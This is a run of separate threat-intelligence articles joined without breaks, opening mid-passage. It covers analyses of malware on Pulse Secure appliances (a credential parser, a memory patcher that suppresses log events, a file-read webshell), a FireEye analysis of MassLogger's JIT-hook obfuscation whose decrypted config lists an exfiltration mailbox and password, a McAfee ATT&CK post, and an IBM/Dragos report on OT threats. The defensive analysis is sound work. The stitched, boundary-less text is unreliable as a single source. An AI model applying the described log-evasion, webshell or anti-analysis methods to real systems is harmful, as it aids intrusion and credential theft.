The utility parses the following two files containing password hashes or plaintext passwords: /home/runtime/mtmp/lmdb/data0/data.mdb /home/runtime/mtmp/system BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error.
It contains the following strings which it likely tries to extract and target.
PRIMARY SECONDARY remoteaddr user@ logicUR logicTim passw@ userAge realm Sourc CLEANPULSE CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring.
The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable.
File Name File Type Size Compile Time dsrlog
ELF.X86
13332
The utility expects to be run from the command line as follows: drslog <pid> <code2_string> <code3_string> <command> Where <pid> is the pid process ID to patch in memory, <code2_string> and <code3_string> are two strings to write into the target process, and <command> is either 'e' or 'E' for installation or 'u' or 'U' for uninstallation.
During installation (using the 'e' or 'E' <command>), the <code2_string> <code3_string> command line strings are written to the target process at hard-coded memory addresses, a small amount of code is written, and a jump instruction to the code snippet is patched in memory of the target process.
The added code checks whether an argument is equal to either <code2_string> <code3_string> strings, and if, so skips a function call in the target process.
During uninstall (using the 'u' or 'U' <command>)
the patch jump location is overwritten with what appears to be the original 8 bytes of instructions, and the two additional memory buffers and the code snippet appear to be overwritten with zeros.
The CLEANPULSE utility is highly specific to a victim environment.
It does not contain any validation code when patching (i.e.
verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch.
The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04.
This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall 'u' command is given.
These bytes correspond to the following two instructions: .data:0804B138
89 4C 24 08                 mov     [esp+8], ecx .data:0804B13C
FF 52 04                       call    dword ptr [edx+4] This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver.
Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged.
There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT.
It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project.
RAPIDPULSE RAPIDPULSE is a webshell capable of arbitrary file read.
As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.
The webshell modifies the legitimate file's main routine which compares the HTTP query parameter with key name: deviceid to a specific  key with value.
If the parameter matches, then the sample uses an RC4 key  to decrypt HTTP query parameter with key name: hmacTime.
This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout.
The appliance redirects stdout as the response to HTTP requests.
This serves as an encrypted file download for the attacker.
Integrity Checker Tool and Other Validation Checks
In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade.
This validation script was modified by the actor to exit early so that it would not perform the intended checks.
Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website.
They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes.
Please note that the ICT does not scan the rollback partition.
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The FireEye Front Line Applied Research & Expertise (FLARE)
Team attempts to always stay on top of the most current and emerging threats.
As a member of the FLARE Reverse Engineer team, I recently received a request to analyze a fairly new credential stealer identified as MassLogger.
Despite the lack of novel functionalities and features, this sample employs a sophisticated technique that replaces the Microsoft Intermediate Language (MSIL) at run time to hinder static analysis.
At the time of this writing, there is only one publication discussing the MassLogger obfuscation technique in some detail.
Therefore, I decided to share my research and tools to help analyze MassLogger and other malware using a similar technique .
Let us take a deep technical dive into the MassLogger credential stealer and the .NET runtime.
Triage MassLogger is a .NET credential stealer.
It starts with a launcher ( 6b975fd7e3eb0d30b6dbe71b8004b06de6bba4d0870e165de4bde7ab82154871 ) that uses simple anti-debugging techniques which can be easily bypassed when identified.
This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload ( bc07c3090befb5e94624ca4a49ee88b3265a3d1d288f79588be7bb356a0f9fae ) named Bin-123.exe .
The final payload can be easily extracted and executed independently.
Therefore, we will focus exclusively on this final payload where the main anti analysis technique is used.
Basic static analysis doesn’t reveal anything too exciting.
We notice some interesting strings, but they are not enough to give us any hints about the malware’s capabilities.
Executing the payload in a controlled environment shows that the sample drops a log file that identifies the malware family, its version, and most importantly some configuration options.
A sample log file is described in Figure 1.
We can also extract some interesting strings from memory as the sample runs.
However, basic dynamic analysis is not sufficient to extract all host-based indicators (HBIs), network-based indicators (NBIs) and complete malware functionality.
We must perform a deeper analysis to better understand the sample and its capabilities.
User Name: user IP: 127.0.0.1 Location: United States OS: Microsoft Windows 7 Ultimate 32bit CPU: Intel(R) Core(TM) i7-6820HQ CPU @
2.70GHz GPU: VMware SVGA 3D AV: NA Screen Resolution: 1438x2460 Current Time: 6/17/2020 1:23:30 PM MassLogger Started: 6/17/2020 1:23:21 PM Interval: 2 hour MassLogger Process:
C:\\Users\\user\\Desktop\\Bin-123.exe MassLogger Melt: false MassLogger Exit after delivery: false As Administrator: False Processes: Name:cmd,
Title:Administrator: FakeNet-NG - fakenet Name:iexplore,
Title:FakeNet-NG - Internet Explorer Name:dnSpy-x86,
Title:dnSpy v6.0.5 (32-bit)
Name:cmd,
Title:Administrator: C:\\Windows\\System32\\cmd.exe Name:ProcessHacker,
Title:Process Hacker [WIN-R23GG4KO4SD\\user]+ (Administrator)
### WD Exclusion ### Disabled ### USB Spread ### Disabled ### Binder ### Disabled ### Window Searcher ### Disabled ### Downloader ### Disabled ### Bot Killer ### Disabled ### Search And Upload ### Disabled ### Telegram Desktop ### Not Installed ### Pidgin ### Not Installed ### FileZilla ### Not Installed ### Discord Tokken ### Not Installed ### NordVPN ### Not Installed ### Outlook ### Not Installed ### FoxMail ### Not Installed ### Thunderbird ### Not Installed ### QQ Browser ### Not Installed ### FireFox ### Not Installed ### Chromium Recovery ### Not Installed ### Keylogger And Clipboard ### [20/06/17]  [Welcome to Chrome - Google Chrome]
[ESC] [20/06/17]  [Clipboard]
Vewgbprxvhvjktmyxofjvpzgazqszaoo Figure 1: Sample MassLogger log Just Decompile It Like many other .NET malwares, MassLogger obfuscates all of its methods names and even the method control flow.
We can use de4dot to automatically deobfuscate the MassLogger payload.
However, looking at the deobfuscated payload, we quickly identify a major issue: Most of the methods contain almost no logic as shown in Figure 2.
Figure 2: dnSpy showing empty methods Looking at the original MassLogger payload in dnSpy ’s Intermediate Language (IL) view confirms that most methods do not contain any logic and simply return nothing.
This is obviously not the real malware since we already observed with dynamic analysis that the sample indeed performs malicious activities and logging to a log file.
We are left with a few methods, most notably the method with the token 0x0600049D called first thing in the main module constructor.
Figure 3: dnSpy IL view showing the method's details Method 0x0600049D control flow has been obfuscated into a series of switch statements.
We can still somewhat follow the method’s high-level logic with the help of dnSpy as a debugger.
However, fully analyzing the method would be very time consuming.
Instead, when first analyzing this payload, I chose to quickly scan over the entire module to look for hints.
Luckily, I spot a few interesting strings I missed during basic static analysis: clrjit.dll , VirtualAlloc , VirtualProtect and WriteProcessMemory as seen in Figure 4.
Figure 4:
Interesting strings scattered throughout the module A quick internet search for “ clrjit.dll ” and “ VirtualProtect ” quickly takes us to a few publications describing a technique commonly referred to as Just-In-Time Hooking.
In essence, JIT Hooking involves installing a hook at the compileMethod() function where the JIT compiler is about to compile the MSIL into assembly (x86, x64, etc).
With the hook in place, the malware can easily replace each method body with the real MSIL that contains the original malware logic.
To fully understand this process, let’s explore the .NET executable, the .NET methods, and how MSIL turns into x86 or x64 assembly.
.NET
Executable Methods A .NET executable is just another binary following the Portable Executable (PE) format.
There are plenty of resources describing the PE file format , the .NET metadata and the .NET token tables in detail.
I recommend our readers to take a quick detour and refresh their memory on those topics before continuing.
This post won’t go into further details but will focus on the .NET methods instead.
Each .NET method in a .NET assembly is identified by a token.
In fact, everything in a .NET assembly, whether it’s a module, a class, a method prototype, or a string, is identified by a token.
Let’s look at method identified by the token 0x0600049D , as shown in Figure 5.
The most-significant byte ( 0x06 ) tells us that this token is a method token (type 0x06 ) instead of a module token (type 0x00 ), a TypeDef token (type 0x02 ), or a LocalVarSig token (type 0x11 ), for example.
The three least significant bytes tell us the ID of the method, in this case it’s 0x49D ( 1181 in decimal).
This ID is also referred to as the Method ID (MID) or the Row ID of the method.
Figure 5: Method details for method 0x0600049D To find out more information about this method, we look within the tables of the “ #~ ” stream of the .NET
metadata streams in the .NET metadata directory as show in Figure 6.
We traverse to the entry number 1181 or 0x49D of the Method table to find the method metadata which includes the Relative Virtual Address (RVA) of the method body, various flags, a pointer to the name of the method, a pointer to the method signature, and finally, an pointer to the parameters specification for this method.
Please note that the MID starts at 1 instead of 0 .
Figure 6: Method details from the PE file header For method 0x0600049D , the RVA of the method body is 0xB690 .
This RVA belongs to the .text section whose RVA is 0x2000 .
Therefore, this method body begins at 0x9690 ( 0xB690 – 0x2000 ) bytes into the .text section.
The .text section starts at 0x200 bytes into the file according to the section header.
As a result, we can find the method body at 0x9890 ( 0x9690 + 0x200 ) bytes offset into the file.
We can see the method body in Figure 7.
Figure 7: Method 0x0600049D body in a hex editor .NET
Method Body The .NET method body starts with a method body header, followed by the MSIL bytes.
There are two types of .NET methods: a tiny method and a fat method.
Looking at the first byte of the method body header, the two least-significant bits tell us if the method is tiny (where the last two bits are 10 ) or fat (where the last two bits are 11 ).
.NET
Tiny Method Let’s look at method 0x06000495 .
Following the same steps described earlier, we check the row number 0x495 ( 1173 in decimal) of the Method table to find the method body RVA is 0x7A7C which translates to 0x5C7C as the offset into the file.
At this offset, the first byte of the method body is 0x0A ( 0000 1010 in binary).
Figure 8: Method 0x06000495 metadata and body Since the two least-significant bits are 10 , we know that 0x06000495 is a tiny method.
For a tiny method, the method body header is one byte long .
The two least-significant bits are 10 to indicate that this is the tiny method, and the six most-significant bits tell us the size of the MSIL to follow (i.e.
how long the MSIL is).
In this case, the six most-significant bits are 000010 , which tells us the method body is two bytes long.
The entire method body for 0x06000495 is 0A 16 2A , followed by a NULL byte, which has been disassembled by dnSpy as shown in Figure 9.
Figure 9:
Method 0x06000495 in dnSpy IL view .NET
Fat Method Coming back to method 0x0600049D (entry number 1181 ) at offset 0x9890 into the file (RVA 0xB690 ), the first byte of the method body is 0x1B (or 0001 1011 in binary).
The two least-significant bits are 11 , indicating that 0x0600049D is a fat method.
The fat method body header is 12-byte long whose structure is beyond the scope of this blog post.
The field we really care about is a four-byte field at offset 0x04 byte into this fat header.
This field specifies the length of the MSIL that follows this method body header.
For method 0x0600049D , the entire method body header is “ 1B 30 08 00
A8 61 00 00 75 00 00 11 ” and the length of the MSIL to follow is “ A8 61 00 00 ” or 0x61A8 ( 25000 in decimal) bytes.
Figure 10: Method 0x0600049D body in a hex editor JIT Compilation
Whether a method is tiny or fat, it does not execute as is.
When the .NET runtime needs to execute a method, it follows exactly the process described earlier to find the method body which includes the method body header and the MSIL bytes.
If this is the first time the method needs to run, the .NET runtime invokes the Just-In-Time compiler which takes the MSIL bytes and compiles them into x86 or x64 assembly depending on whether the current process is 32- or 64-bit.
After some preparation, the JIT compiler eventually calls the compileMethod() function.
The entire .NET runtime project is open-sourced and available on GitHub .
We can easily find out that the compileMethod() function has the following prototype (Figure 11): CorJitResult __stdcall compileMethod ( ICorJitInfo                       *comp,               /* IN */ CORINFO_METHOD_INFO               * info ,               /* IN */ unsigned /* code:CorJitFlag */    flags,               /* IN */ BYTE                              **nativeEntry,       /* OUT */ ULONG                             *nativeSizeOfCode    /* OUT */ ); Figure 11: compileMethod() function protype Figure 12 shows the CORINFO_METHOD_INFO structure.
struct CORINFO_METHOD_INFO { CORINFO_METHOD_HANDLE       ftn; CORINFO_MODULE_HANDLE       scope; BYTE * ILCode ; unsigned ILCodeSize ; unsigned                    maxStack; unsigned                    EHcount; CorInfoOptions              options; CorInfoRegionKind           regionKind; CORINFO_SIG_INFO            args; CORINFO_SIG_INFO            locals; }; Figure 12:
CORINFO_METHOD_INFO structure The ILCode is a pointer to the MSIL of the method to compile, and the ILCodeSize tells us how long the MSIL is.
The return value of compileMethod() is an error code indicating success or failure.
In case of success, the nativeEntry pointer is populated with the address of the executable memory region containing the x86 or the x64 instruction that is compiled from the MSIL.
MassLogger JIT Hooking Let’s come back to MassLogger.
As soon as the main module initialization runs, it first decrypts MSIL of the other methods.
It then installs a hook to execute its own version of compileMethod() (method 0x06000499 ).
This method replaces the ILCode and ILCodeSize fields of the info argument to the original compileMethod() with the real malware’s MSIL bytes.
In addition to replacing the MSIL bytes, MassLogger also patches the method body header at module initialization time.
As seen from Figure 13, the method body header of method 0x060003DD on disk (at file offset 0x3CE0) is different from the header in memory (at RVA 0x5AE0 ).
The only two things remaining quite consistent are the least significant two bits indicating whether the method is tiny or fat.
To successfully defeat this anti-analysis technique, we must recover the real MSIL bytes as well as the correct method body headers.
Figure 13:
Same method body with different headers when resting on disk vs. loaded in memory Defeating JIT Method Body Replacement With JITM To automatically recover the MSIL and the method body header, one possible approach suggested by another FLARE team member is to install our own hook at compileMethod() function before loading and allowing the MassLogger module constructor to run.
There are multiple tutorials and open-sourced projects on hooking compileMethod() using both managed hooks (the new compileMethod() is a managed method written in C#) and native hooks (the new compileMethod() is native and written in C or C++).
However, due to the unique way MassLogger hooks compileMethod() , we cannot use the vtable hooking technique implemented by many of the aforementioned projects.
Therefore, I’d like to share the following project: JITM , which is designed use inline hooking implemented by PolyHook library.
JITM comes with a wrapper for compileMethod() which logs all the method body headers and MSIL bytes to a JSON file before calling the original compileMethod() .
In addition to the hook, JITM also includes a .NET loader.
This loader first loads the native hook DLL ( jitmhook.dll ) and installs the hook.
The loader then loads the MassLogger payload and executes its entry point.
This causes MassLogger’s module initialization code to execute and install its own hook, but hooking jitmhook.dll code instead of the original compileMethod() .
An alternative approach to executing MassLogger’s entry point is to call the RuntimeHelpers.
PrepareMethod() API to force the JIT compiler to run on all methods.
This approach is better because it avoids running the malware, and it potentially can recover methods not called in the sample’s natural code path.
However, additional work is required to force all methods to be compiled properly.
To load and recover MassLogger methods, first run the following command (Figure 14): jitm.exe Bin-123.exe [optional_timeout] Figure 14: Command to run jitm Once the timeout expires, you should see the files jitm.log and jitm.json created in the current directory.
jitm.json contains the method tokens, method body headers and MSIL bytes of all methods recovered from Bin-123.exe .
The only thing left to do is to rebuild the .NET metadata
so we can perform static analysis.
Figure 15: Sample jitm.json
Rebuilding the Assembly Since the decrypted method body headers and MSIL bytes may not fit in the original .NET assembly properly, the easiest thing to do is to add a new section and a section header to MassLogger.
There are plenty of resources on how to add a PE section header and data , none of which is trivial or easy to automate.
Therefore, JITM also include the following Python 2.7 helper script to automate this process: Scripts\\addsection.py .
With the method body header and MSIL of each method added to a new PE section as shown in Figure 16, we can easily parse the .NET metadata and fix each method’s RVA to point to the correct method body within the new section.
Unfortunately, I did not find any Python library to easily parse the .NET metadata and the MethodDef table.
Therefore, JITM also includes a partially implemented .NET
metadata parser: Script\\pydnet.py .
This script uses pefile and vivisect modules and parses the PE file up to the Method table to extract all methods and their associated RVAs.
Figure 16: Bin-123.exe before and after adding an additional section named FLARE Finally, to tie everything together, JITM provides Script\\fix_assembly.py to perform the following tasks: Write the method body header and MSIL of each method recovered in jitm.json into a temporary binary file named “ section.bin ” while at the same time remember the associated method token and the offset into section.bin .
Use addsection.py to add section.bin into Bin-123.exe and save the data into a new file, e.g.
Bin-123.fixed.exe .
Use pydnet.py to parse Bin-123.fixed.exe and update the RVA field of each method entry in the MethodDef table to point to the correct RVA into the new section.
The final result is a partially reconstructed .NET assembly.
Although additional work is necessary to get this assembly to run correctly, it is good enough to perform static analysis to understand the malware’s high-level functionalities.
Let’s look at the reconstructed method 0x0600043E that implements the decryption logic for the malware configuration.
Compared to the original MSIL, the reconstructed MSIL now shows that the malware uses AES-256 in CBC mode with PKCS7 padding.
With a combination of dynamic analysis and static analysis, we can also easily identify the key to be “ Vewgbprxvhvjktmyxofjvpzgazqszaoo ” and the IV to be part of the Base64 -encoded buffer passed in as its argument.
Figure 17:
Method 0x0600043 before and after fixing the assembly Armed with that knowledge, we can write a simple tool to decrypt the malware configuration and recover all HBIs and NBIs (Figure 18).
BinderBytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BinderName:
Mzvmy_Nyrrd BinderOnce: false DownloaderFilename: Hrebxs DownloaderOnce: false DownloaderUrl: Vrwus EmailAddress: appfoil@outlook.com
EmailClient: smtp.outlook.com EmailEnable: true EmailPass: services000 EmailPort: 587 EmailSendTo: appfoil@outlook.com
EmailSsl: True EnableAntiDebugger: false EnableAntiHoneypot: false EnableAntiSandboxie: false EnableAntiVMware: false EnableBinder: false EnableBotKiller: false EnableBrowserRecovery: true EnableDeleteZoneIdentifier: false EnableDownloader: false EnableForceUac: false EnableInstall: false EnableKeylogger: true EnableMemoryScan: false EnableMutex: false EnableScreenshot: false EnableSearchAndUpload: false EnableSpreadUsb: false EnableWDExclusion: false EnableWindowSearcher:
false ExectionDelay: 6 ExitAfterDelivery: false FtpEnable: false FtpHost: ftp://127.0.0.1
FtpPass: FtpPort: 21 FtpUser: Foo InstallFile:
Pkkbdphw InstallFolder: %AppData% InstallSecondFolder:
Eqrzwmf Key: Mutex: Ysjqh PanelEnable: false PanelHost: http://example.com/panel/upload.php SearchAndUploadExtensions: .jpeg, .txt, .docx, .doc,
SearchAndUploadSizeLimit: 500000 SearchAndUploadZipSize: 5000000
SelfDestruct: false SendingInterval: 2 Version: MassLogger v1.3.4.0 WindowSearcherKeywords: youtube, facebook, amazon, Figure 18: Decrypted configuration Conclusion Using a JIT compiler hook to replace the MSIL is a powerful technique that makes static analysis almost impossible.
Although this technique is not new, I haven’t seen many .NET
malwares making use of it, let alone trying to implement their own adaptation instead of using widely available protectors like ConfuserEx.
Hopefully, with this blog post and JITM , analysts will now have the tools and knowledge to defeat MassLogger or any future variants that use a similar technique.
If this is the type of work that excites you; and, if you thrive to push the state of the art when it comes to malware analysis and reverse engineering, the Front Line Applied Research and Expertise (FLARE) team may be a good place for you.
The FLARE team faces fun and exciting challenges on a daily basis; and we are constantly looking for more team members to tackle these challenges head on.
Check out FireEye’s career page to see if any of our opportunities would be a good fit for you.
Contributors (Listed Alphabetically)
Tyler Dean ( @spresec ): Technical review of the post Michael Durakovich: Technical review of the post Stephen Eckels ( @stevemk14ebr ): Help with porting JITM to use PolyHook Jon Erickson ( @evil-e ): Technical review of the post Moritz Raabe ( @m_r_tz ): Technical review of the post Subscribe to Blogs Get email updates as new blog posts are added.
By Christiaan Beek on Jun 18, 2018
Every week we read about adversaries attacking their targets as part of online criminal campaigns.
Information gathering, strategic advantage, and theft of intellectual property are some of the motivations.
Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction.
One might wonder how to deal with these kinds of threats and where to start.
Sun Tzu’s The Art of War contains some great wisdom regarding the strategy of warfare.
One of the most popular is the advice “If you know the enemy and know yourself, you need not fear the result of a hundred battles.
If you know yourself but not the enemy, for every victory gained you will also suffer a defeat.
If you know neither the enemy nor yourself, you will succumb in every battle.”
Applying this advice to information security, let’s focus first on knowing yourself.
Knowing yourself can roughly be divided into two parts: What do I have that can be of value to an attacker?
How do I detect, protect, and correct any threats to my identified value?
Every company has a value, it takes only one criminal mind to see that and to attempt to exploit it.
Ask yourself what the core of your business is, the secret sauce that people might be after, what will take you out of business, whom you are doing business with, who are your clients, etc.
Once you have identified your organization’s value, the second part of knowing yourself comes into play.
You must understand where you to focus your defenses and invest in technology to detect and protect against threats.
After wrapping up the knowing yourself part, what can we learn from the enemy?
Ask yourself “Who would likely be interested in attacking me?”
By going through the list of known adversaries and cybercriminal groups, you can create a list based on which geographies and vectors they target and classify them by risk.
Here is a simplified example: Once you have your list and risk classification ready, you must next study the tactics, techniques, and procedures used by these adversaries.
For mapping their techniques and associated campaigns, we use the MITRE Adversarial Tactics, Techniques, and Common Knowledge model (ATT&CK).
The matrix covers hundreds of techniques, and can be applied for different purposes.
In this case, we will focus on the risk versus mapping the defensive architecture.
In Q1 of 2018, we mapped the targeted attacks discovered by ourselves and our peers in the industry.
The following example comes from one adversary we tracked, showing the techniques they used: With MITRE’s Navigator tool you can select an actor or malware family.
After making the selection, the boxes in the matrix show which techniques the actor or malware has used.
From these techniques we can learn how our environments protect against these techniques and where we have gaps.
The goal is not to create coverage or signatures for each technique; the matrix helps organizations understand how attackers behave.
Having more visibility into their methods leads us to the right responses, and helps us contain and eradicate attacks in a coordinated way.
By comparing the multiple actors from your initial risk assessment, you can build the matrix from the perspective of high/medium/low risk and map it against your defenses.
Although some adversaries might not have a history of attacking you and your sector, it is still good to ask yourself “What if we were a target?”
Would your environment create enough visibility to detect and deal with these techniques?
Statistics When we looked at the first quarter, we noticed that the three techniques were the most popular in the category of Privilege Escalation: Exploitation of vulnerability Process injection Valid accounts To determine your coverage and detection capacity, you should ask if the exploits used completely new vulnerabilities (no patches available) or if they had existed for a while.
Would your environment have the right patches installed or are you missing them and have to take action?
When we looked at the categories of Exfiltration and Command and Control, most campaigns exfiltrated their data over a control server channel using a common port.
That translates to either TCP port 80 (HTTP) or TCP port 443 (HTTPS).
We all use these ports from inside the network to communicate to the internet.
What if all my other defenses would fail to discover the suspicious activity?
Which defensive components in my network would be able to inspect the outgoing traffic and block or flag the exfiltration attempts?
Conclusion In this post, we highlighted one approach and application of the ATT&CK model.
There are many ways to apply it for red teaming, threat hunting, and other tasks.
At McAfee we embrace the model and are applying it to different levels and purposes in our organization.
We are not only using it but also contribute to the model by describing newly discovered techniques used by adversaries.
Operational Technology Threats in 2021:
Ransomware, Remote Access Trojans and Targeted Threat Groups Organizations with operational technology (OT) networks face many unique — and often complicated — considerations when it comes to cybersecurity threats.
One of the main challenges facing the community is the convergence of an increasingly OT-aware and capable threat landscape with the digital transformation of the industrial community.
This comes at a time when organizations have historically prioritized preventive-based controls (segmentation, patching, authentication, anti-malware, etc.)
well beyond the ability to get visibility into their OT networks as well as the ability to detect and respond to issues.
This creates significant risk and is made more complicated when many industries also face aging infrastructure and consequences that can manifest in the physical world with impacts on safety and environmental damage.
To delve deep on the threat landscape for organizations connected to OT and industrial control system (ICS) environments, IBM Security X-Force threat intelligence analysts worked jointly with Dragos , a firm that specializes in OT and ICS cybersecurity, to investigate some of the major intrusion trends that may impact OT and ICS environments.
The research shows that ransomware and remote access Trojans are the most common attack types against enterprise networks connected to OT networks.
Ransomware specifically has direct impacts as it moves from enterprise networks into OT networks and causes costly operational outages.
The remote access Trojans highlighted in this analysis are those utilized by OT-specific threat groups as they leverage this capability to gain access to enterprise networks and then move from Stage 1 to Stage 2 operations as defined by the ICS Cyber Kill Chain .
While the data does highlight the most common attack types and vectors, it is important to note that the most frequent events are not always the most consequential.
As an example, OT-specific threat groups, while active much more than people realize, are not nearly as active as the broader enterprise IT threats.
However, OT threat groups cause significant impact that ranges from the theft of intellectual property to the direct targeting of human life (e.g.
the TRITON/TRISIS attack in Saudi Arabia in 2017).
The data further reveals that adversaries most frequently use stolen credentials to gain initial access to enterprise networks with connected ICS environments.
Many defenders may think that by protecting their enterprise networks they are protecting their ICS networks, but it is important to note that many original equipment manufacturers, integrators and vendors have their enterprise and production networks directly connected to others’ OT networks.
That is to say that, while adversaries often begin their operations in the enterprise, it is not always your enterprise that leads to compromises in your ICS.
Looking ahead, ransomware threats will continue to impact both IT and OT networks directly while threat groups become more adept and intent on targeting OT networks directly.
From ICS Kill Chain Stage 1 to Stage 2: Implications for ICS and OT The majority of the data, by the very nature of these operations, examined in this analysis primarily involves Stage 1 operations that initially affect enterprise and non-OT environments.
Several examples demonstrate the ease with which adversaries can expand from ICS Kill Chain Stage 1 to Stage 2 operations — with the latter having direct impact on and implications for ICS and OT networks.
For example, the EKANS malware is a ransomware variant that includes the ability to stop ICS-related Windows processes.
Although this is a primitive technique, it indicates criminal enterprises are expanding ransomware targets to include industrial environments.
Ransomware developers increase the odds of victims paying ransoms by crippling as much of the business operation as possible, demonstrating a jump from ICS Kill Chain Stage 1 to Stage 2 operations.
Threat groups that Dragos tracks such as KAMACITE and ELECTRUM — with links to Hive0103 or Sandworm, a group multiple organizations have attributed to Russian government actors — work as an access-effects team and show how a Stage 1 intrusion can quickly become a Stage 2 intrusion.
KAMACITE deploys malware with ICS-specific capabilities.
This includes various modules linked to BLACKENERGY2 malware, infecting asset owners in Europe and North America.
After compromising the IT environment, KAMACITE hands off ICS network access to other activity groups, like ELECTRUM, which was suspected in the 2016 Ukraine power event .
Another example of an access-effects team, which Dragos also tracks, is PARISITE , which enables operations for MAGNALLIUM — a group with links to Hive0016 or APT33 and has been attributed to Iranian state actors.
PARISITE’s initial access activity is associated with a focus on ICS-related entities and serves as an initial access vector for future disruptive operations associated with MAGNALLIUM.
PARISITE represents the first actions against ICS asset owners and operators to breach victim IT networks and establish persistence.
PARISITE and MAGNALLIUM incorporate vulnerabilities into exploited items and weaponize disclosed vulnerabilities in critical products, showing the capability to move from Stage 1 to Stage 2.
This access can be utilized to gather additional information for further penetration of the environment and possible ICS attacks.
Ransomware and Remote Access Trojans: The Top Attack Types Further analysis of X-Force incident response data reveals that ransomware was the top attack type against organizations with connected OT networks in 2020 and 2021.
Ransomware attacks made up nearly one-third of all attacks on OT-connected organizations last year, underscoring the interest ransomware adversaries are taking in industrial victims.
Joint research by IBM X-Force and Dragos revealed that of all the ransomware attacks impacting industrial organizations, such as those found in the electric, oil and gas, manufacturing, rail and mining industries, between 2018 and 2020, 56% had an impact on operations.
Even for ransomware strains that are not specifically designed to affect ICS systems, these intrusions end up impacting operations across the organization, often by necessitating a shutdown of the operational environment.
Figure 1: Attack types against organizations connected to OT networks, January 2020 – June 2021 (Source: X-Force Incident Response Data)
After ransomware, which made up 30% of attacks, remote access trojans (RATs) were the second-most common attack vector against organizations with connected OT networks in 2020 and 2021, making up 16% of intrusions on these organizations.
Malware like Adwind, jRAT, Trickbot and Emotet were some of the most common malware types associated with these RAT operations.
A group Dragos tracks as STIBNITE uses spearphishing to drop PoetRAT to gather information, take screenshots, transfer files and execute commands on victim systems for the purpose of identifying access points into ICS networks.
Another group, TALONITE, uses spearphishing, masquerading as legitimate engineering and energy entities, to entice victims to download executables containing RATs.
This enables the group to establish persistence and move laterally within a network, attempting to achieve access into ICS while also stealing information related to operations that may be stored in enterprise networks.
Vulnerability Exploitation and Stolen Credentials Provide a Way
In In terms of initial infection vectors, X-Force incident response data indicates that vulnerability exploitation and stolen credentials are the most common entry points for adversaries, leading to 40 and 32% of incidents remediated, respectively.
Figure 2:
Initial infection vectors used in attacks on organizations connected to OT Networks, January 2020-June 2021 (Source: X-Force) Credential theft as an initial infection vector across all industries decreased in 2020, encompassing only 18% of X-Force attacks.
This may be due to organizations doing a better job of implementing multifactor authentication (MFA) and making it more difficult for adversaries to make use of stolen credentials.
A high percentage of attacks caused by credential theft at industrial companies suggests that a more robust implementation of MFA has the potential to hinder some incidents in the future.
However, in Dragos’s incident response cases 100% of incident response cases in OT still leveraged credential theft and lateral movement.
A common issue was shared systems such as Active Directory connecting IT and OT networks directly, allowing adversaries to easily pivot into industrial networks.
Adversaries frequently used a combination of scanning for vulnerabilities and then exploiting those vulnerabilities, especially on internet-facing devices such as firewalls and VPN infrastructure.
The combination of vulnerability exploitation as an infection vector for enterprises with a connected OT environment is concerning in light of the increasing number of OT and ICS-related vulnerabilities identified each year.
In 2020, researchers identified 468 new vulnerabilities related to ICS, a 49% increase year-over-year from 2019, and a significant jump compared to increases in previous years.
Figure 3:
New ICS-related vulnerabilities identified per year, 2011-2020 (Source: X-Force Red)
Remote Desktop Protocol (RDP) targeting came in third place at 12% of intrusions.
Across all sectors, RDP makes up a much smaller percentage of overall infection vectors (7% overall in 2020), suggesting that adversaries capitalize on RDP more when targeting OT-connected organizations.
Phishing accounted for the initial infection vector in only 8% of intrusions remediated by X-Force in 2020 and 2021.
Across all sectors, phishing typically makes up one-third of infection vectors, suggesting that phishing is not an infection vector of choice for actors targeting industrial companies.
Even so, the group Dragos tracks as KAMACITE breached multiple industrial networks by utilizing spearphishing with malicious attachments and external access via legitimate services to gain access to victim organizations.
Looking Ahead: What Does This Data Mean for 2021?
X-Force threat intelligence anticipates that ransomware will continue to be a top attack type for industrial organizations into 2021.
Ransomware groups continue to attempt to exploit the sensitive nature of OT networks and increasingly blend data theft and leaks with traditional ransomware.
The battle with ransomware is likely to continue into the foreseeable future.
To better prepare for potential attacks, encrypting company data so it is less valuable to adversaries and safely storing backups are two protective measures organizations can take to insulate networks from double ransomware attacks that are becoming increasingly common.
It is also necessary to validate and potentially re-architect systems that bridge IT and OT networks and potentially re-architect the OT network itself.
Over the years many changes have occurred that are not tracked in OT networks, leading to system and network weaknesses and attack paths that significantly increase the impact of these attacks.
A key effort should be to get visibility in the OT networks, looking for weak segmentation, remote connections and interconnections with vendors and integrators.
Network segmentation should also be monitored to ensure it is not bypassed.
Further, do not over-rely on preventive measures alone.
Once the organization has a defensible architecture in place it is important to actively defend that architecture with appropriately skilled personnel who understand OT and can detect key threat behaviors such as the tactics, techniques and procedures of OT threat groups and ransomware operators.
With the number of reported vulnerabilities rising quickly, X-Force also sees vulnerability exploitation as an initial infection vector that is likely to continue over time for industrial companies with a connected OT environment.
Border devices on the OT networks that bridge them to IT networks including firewalls, VPNs and data historians are at high risk.
Vulnerability management programs can assist organizations in identifying which vulnerabilities deserve the most attention and should be prioritized in a patch management program.
For example, adversaries frequently exploited CVE-2019-19781 — a Citrix server path traversal flaw — in 2020, providing adversaries access to critical servers and sensitive data.
Adversaries all but ignored many other vulnerabilities, as exploitation is too complicated or would not provide the access necessary to fulfill objectives.
X-Force data from 2020 also indicates that organizations’ widespread and successful implementation of MFA may be positively impacting the threat landscape — forcing adversaries to abandon credential theft and brute force attacks as initial infection vectors.
These trends suggest that aggressive implementation of MFA has the potential to alter the threat landscape over time, shoring up RDP access points as a common initial infection vector, and decreasing the use of credential theft to gain access to OT organizations’ networks.
